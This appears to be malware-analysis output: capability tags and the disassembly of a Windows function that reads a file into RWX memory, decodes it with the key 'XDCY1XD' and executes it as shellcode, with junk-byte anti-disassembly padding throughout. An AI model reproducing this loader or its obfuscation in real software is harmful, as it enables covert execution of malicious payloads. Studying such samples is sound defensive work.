Function at 0x140f7cfb0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
xor eax, eax
test eax, eax
je 0x140f7d1d0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
or al, byte [rbx]
lea ecx, [0x14ffbbee0]
add byte [rax], al
add byte [rax], al
add al, 0
test byte [rdi], 0
add byte [rax + 0x420701], dh
add byte [rax + 0x420701], ah
add byte [rax + 1], dh
and dword [rax], eax
invalid
mov dword [rsp + 0x44], 0
xor eax, eax
test eax, eax
je 0x140f7d3ef
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rax], al
invalid
xor eax, eax
test eax, eax
je 0x140f7d606
nop
nop
nop
nop
nop
nop
nop
add dword [rax], eax
add byte [rax], al
cmp dword [rcx], eax
add al, byte [rax]
add byte [rax], al
clc
invalid
xor eax, eax
test eax, eax
je 0x140f7d81d
jae 0x140f7d612
add byte [rcx], ch
add byte [rsi], ch
add byte [rdi], ah
add byte [rcx], ah
add byte [rax], dh
add byte [rdx], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rdx], al
in al, dx
invalid
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0xffffffffffffffff
jne 0x140f7d866
xor eax, eax
jmp 0x140f7f2c3
xor eax, eax
test eax, eax
je 0x140f7da7d
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or al, 5
add byte [rax], al
ror byte [rdx], 1
or al, 5
add byte [rax], al
clc
or cl, byte [rax]
xor al, 1
add dword [rbx], edx
add byte [rax + 1], dh
add dword [rbx], edx
add byte [rax + 0xf450101], ch
rdpmc
or al, byte [rdx]
pop rbx
invalid
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0xffffffff
jne 0x140f7daa7
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140f7f2c3
xor eax, eax
test eax, eax
je 0x140f7dcbe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
dec dword [rdi]
ud0
mov eax, dword [rsp + 0x40]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140f7dcf7
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140f7f2c3
xor eax, eax
test eax, eax
je 0x140f7df0e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
or eax, dword [0x140f7dd17]
or byte [rdx + rax], cl
add byte [rax], al
nop
or eax, dword [0x141fb1023]
add ax, word [rdx]
add al, 0
add byte [rax], al
jl 0x140f7dd36
or dl, byte [rax + 5]
invalid
add al, 0
add byte [rax], al
xchg ecx, eax
add byte [rdx], al
invalid
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140f7df5a
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140f7f2c3
xor eax, eax
test eax, eax
je 0x140f7e171
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pi2fd mm0, qword [rax]
invalid
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x48], eax
je 0x140f7e1a0
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140f7f2c3
xor eax, eax
test eax, eax
je 0x140f7e3b7
nop
nop
nop
nop
nop
nop
push rbx
add eax, dword [rcx]
invalid
xor eax, eax
test eax, eax
je 0x140f7e5ce
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
invalid
xor eax, eax
test eax, eax
je 0x140f7e7e5
nop
nop
nop
nop
nop
nop
nop
nop
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or rax, qword [r12 + rax*2]
add byte [rax], al
dec dword [rdi]
or al, 5
jbe 0x140f7e5fd
add dword [rax + 0xa550c0c], ecx
add byte [rdx + 0xa58030f], ah
add ebx, dword [rax + 0xa]
dec dword [rdi]
ud0
mov byte [rsp + 0x50], 0x58
mov byte [rsp + 0x51], 0x44
mov byte [rsp + 0x52], 0x43
mov byte [rsp + 0x53], 0x59
mov byte [rsp + 0x54], 0x31
mov byte [rsp + 0x55], 0x58
mov byte [rsp + 0x56], 0x44
mov byte [rsp + 0x57], 0
xor eax, eax
test eax, eax
je 0x140f7ea24
nop
nop
nop
nop
nop
nop
nop
nop
nop
add al, 0x45
add byte [rax], al
mov al, 6
add al, 0x45
add byte [rax], al
rol byte [rsi], 4
add byte [r8], r8b
or byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
or dword [rax], eax
add byte [rax], al
or al, dl
add dword [rcx], eax
movabs al, byte [0x60b4f000c000c07]
mov byte [rdx], al
add byte [rax], al
add byte [rax + 1], al
add al, 0x42
add byte [rax], al
xor byte [rcx], al
add al, 0x42
add byte [rax], al
add al, byte [rax + 4]
add byte [rax], al
add byte [rax], al
jl 0x140f7e870
or dl, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rbx], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add bh, bh
invalid
or eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
dec dword [rdi]
ud0
mov eax, dword [rsp + 0x40]
lea r8, [rsp + 0x50]
mov edx, eax
mov rcx, qword [rsp + 0x60]
call fcn.140f7c270
xor eax, eax
test eax, eax
je 0x140f7ec50
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
or al, byte [rax]
add byte [rax], al
add byte [rbx + rax], cl
add byte [rax], al
add byte [rax], al
add al, 0xe
add byte [rax], al
add byte [rbx], cl
sbb dword [rdi], ecx
psllw mm1, qword [rdi]
invalid
call qword [rsp + 0x60]
xor eax, eax
test eax, eax
je 0x140f7ee6b
nop
nop
add byte [rdx], dh
add byte [rax], al
xor eax, dword [rax]
add byte [rcx], dh
add byte [rax], al
invalid
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
test eax, eax
je 0x140f7f095
nop
nop
nop
nop
nop
nop
nop
nop
add byte [rax], al
jo 0x140f7ee94
add byte [rax + rax], dh
sub eax, 0x700000
add byte [rax + rax + 5], dh
invalid
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x44], 1
xor eax, eax
test eax, eax
je 0x140f7f2bf
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
and eax, 0xfd00d09
or al, 0x59
add byte [rcx], cl
xchg byte [rsi], al
add eax, ebp
invalid
mov eax, dword [rsp + 0x44]
add rsp, 0x78
ret